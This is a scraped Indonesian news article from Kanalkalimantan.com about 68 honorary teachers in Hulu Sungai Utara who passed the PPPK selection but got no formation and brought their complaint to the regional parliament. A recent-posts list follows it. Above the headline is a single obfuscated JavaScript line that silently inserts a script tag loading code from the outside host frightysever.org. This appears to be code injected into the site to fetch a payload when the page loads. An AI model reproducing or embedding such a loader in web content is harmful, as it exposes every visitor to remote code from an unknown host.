(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tak Masuk Formasi Pengangkatan PPPK, 68 Guru Honorer Mengadu ke DPRD HSU


KANALKALIMANTAN.COM, AMUNTAI – Kecewa lantaran tak mendapat pengangkatan sebagai Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) tahap ketiga, sebanyak 68 guru honorer mendatangi Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU), Senin (4/3/2022).

Kedatangan para guru honorer ke DPRD HSU dalam agenda Rapat Dengan Pendapat (RDP) menyampaikan aspirasi mereka terkait belum adanya kepastian pengangkatan formasi PPPK tahap ketiga, padahal telah dinyatakan lulus seleksi tes PPPK.

Koordinator forum guru honorer lulus passing grade tanpa formasi, Ira Damayanti, mengatakan pihaknya meminta kepada pemerintah daerah agar membuka sebanyak-banyaknya formasi untuk guru honorer, terutama untuk guru honorer yang telah lulus tes passing grade tanpa formasi sebanyak 68 orang.

“Kita meminta agar formasi guru honorer yang sudah lulus Passing Grade (PG) 1 dan PG 3, untuk tahap ketiga segera mendapat pengangkatan PPPK, dan mendapatkan formasi di Kabupaten Hulu Sungai Utara,” ungkapnya.

 

Baca juga  : DKP Kalsel Bagikan Ikan Patin Segar di Pasar Murah HBKN 

Menanggapi hal ini, Ketua DPRD HSU Almien Ansar Safari mengharapkan Badan Kepegawaian Pelatihan Sumber Daya Manusia (BKPSDM) HSU agar segera mengusulkan formasi untuk guru honorer yang telah lulus passing grade ini.

Hal senada juga diungkapkan Ketua Komisi II DPRD HSU Fadillah, yang menyebut Perlu adanya tindak lanjut dan koordinasi ke tingkat pusat agar guru honorer mendapat formasi dan bisa lulus PPPK.

“Selain itu perlu juga adanya sinkronisasi data formasi dan tindaklanjut terhadap permasalahan ini, dan kalau perlu sampai ke pusat,” katanya.

Sementara itu, Kepala BKPSDM Rakhmadi Permana menjrlaskan bahwa untuk penerimaan dan pengganggatan PPPK telah sesuai dengan aturan.

 

Baca juga  : 7 Luka Tusuk Mayat Mrs X di Jalan Gubernur Syarkawi, Polisi Sebut Korban Pembunuhan

BKPSDM HSU selaku pelaksana dari kebijakan pusat menerima usulan dari Dinas Pendidikan, sebagaimana yang diharapkan menteri tergantung peraturan dari pusat.

“Kewenangan BKPSDM hanya kewenangan mengusulkan formasi dan kewenangan mengusulkan NIP yang telah lulus seleksi, untuk teknis lainnya kewenangan ada pada Kementerian Pendidikan,” katanya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

9 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

11 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

15 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

19 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

20 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

2 hari ago

This website uses cookies.